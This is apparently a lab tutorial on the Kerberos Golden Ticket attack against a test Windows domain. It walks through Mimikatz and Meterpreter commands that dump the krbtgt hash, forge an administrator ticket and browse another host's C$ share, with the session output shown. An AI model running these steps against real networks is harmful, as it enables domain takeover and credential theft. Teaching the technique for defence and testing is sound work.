Golden Ticket attack

What is a Golden Ticket attack?

To access services within the domain the user must acquire a Ticket Granting Service ticket from the DC for the service they are requesting access to. The user then presents the TGS to the service and depending on their security level they are either permitted or denied access. The TGS contains the service hash that allows authentication without needing to know the service accounts credentials and without credentials being sent in clear text. Now. The kerberos service that issues these TGS tickets on the Domain Controller is the “krbtgt” service. So what if we have credentials for the krbtgt account? Thats right. We can issue our own TGS tickets for any service on the entire domain and gain access. Everything. Hence the name Golden Ticket.

Using Mimikatz to generate a Golden Ticket

Mimikatz is an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.” Mimikatz can be downloaded from
Being a post compromise attack this post assumes you have already gained remote access to the domain controller and uploaded Mimikatz to the system. The first command you should always run on mimikatz is “privilege::debug”. Next we need some authentication details of the krbtgt account. We need the SID and the NTLM hash which we can pull down with: lsadump::lsa /inject /name:krbtgt
Using these authentication credentials we can generate a goldent ticket using the command:
kerberos::golden /User:Administrator /domain:pwnme.local /sid:S-1-5-21-1005202765-2145341796-1970445350 /krbtgt:4eee7449c5c6f03e7e7361d2f7e0a16d /id:500 /ptt
Note: The username can be anything you want. The user does not even need to exist. Id is the RID of the default administrator account and ptt stands for “Pass The Ticket” as once we have the golden ticket we simply pass this along with every request for authentication.
Something to note above is that it sais “For current session” so we need to open a new command prompt within the current session in order to pass the ticket with each command. Open a command prompt within the current session: “misc::cmd” . Now we have a command prompt that can access any and all machines, services, directories, credentials etc etc on the entire domain.

Accessing machines with psexec



meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( )
## \ / ## >
'## v ##' Vincent LE TOUX ( )
'#####' > / ***/


meterpreter > dcsync_ntlm krbtgt 
[+] Account : krbtgt 
[+] NTLM Hash : 4eee7449c5c6f03e7e7361d2f7e0a16d 
[+] LM Hash : cd3ad22da0003aff45f10bb2f73f75e1 
[+] SID : S-1-5-21-1005202765-2145341796-1970445350-502 
[+] RID : 502
meterpreter > golden_ticket_create -d pwnme.local -u Administrator -s S-1-5-21-1005202765-2145341796-1970445350 -k 4eee7449c5c6f03e7e7361d2f7e0a16d -t ./ticket.tck
[+] Golden Kerberos ticket written to ./ticket.tck
meterpreter > kerberos_ticket_use ./ticket.tck
[*] Using Kerberos ticket stored in ./ticket.tck, 1856 bytes ...
[+] Kerberos ticket applied successfully.
meterpreter > kerberos_ticket_use ./ticket.tck
[*] Using Kerberos ticket stored in ./ticket.tck, 1856 bytes ...
[+] Kerberos ticket applied successfully.
meterpreter > kerberos_ticket_list
[+] Kerberos tickets found in the current session.
[00000000] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 10/13/2021 1:28:51 PM ; 10/11/2031 9:28:51 PM ; 10/11/2031 9:28:51 PM
Server Name : krbtgt/pwnme.local @ pwnme.local
Client Name : Administrator @ pwnme.local
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;

[00000001] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 10/13/2021 1:25:23 PM ; 10/13/2021 11:25:23 PM ; 10/20/2021 1:25:23 PM
Server Name : krbtgt/PWNME.LOCAL @ PWNME.LOCAL
Client Name : Administrator @ pwnme.local
Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;

meterpreter > shell
Process 6384 created.
Channel 7 created.
Microsoft Windows [Version 10.0.17763.1294]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\Temp>dir \\DOGPARK.pwnme.local\c$
dir \\DOGPARK.pwnme.local\c$
Volume in drive \\DOGPARK.pwnme.local\c$ has no label.
Volume Serial Number is A4D0-6780

Directory of \\DOGPARK.pwnme.local\c$

10/09/2021 09:12 AM <DIR> logs
12/07/2019 07:14 PM <DIR> PerfLogs
10/08/2021 12:34 PM <DIR> Program Files
10/11/2021 10:32 AM <DIR> Program Files (x86)
10/08/2021 07:10 PM <DIR> Python27
02/02/2021 07:04 AM <DIR> shares
10/12/2021 09:38 AM <DIR> Users
10/11/2021 10:30 AM <DIR> Windows
0 File(s) 0 bytes
8 Dir(s) 27,732,598,784 bytes free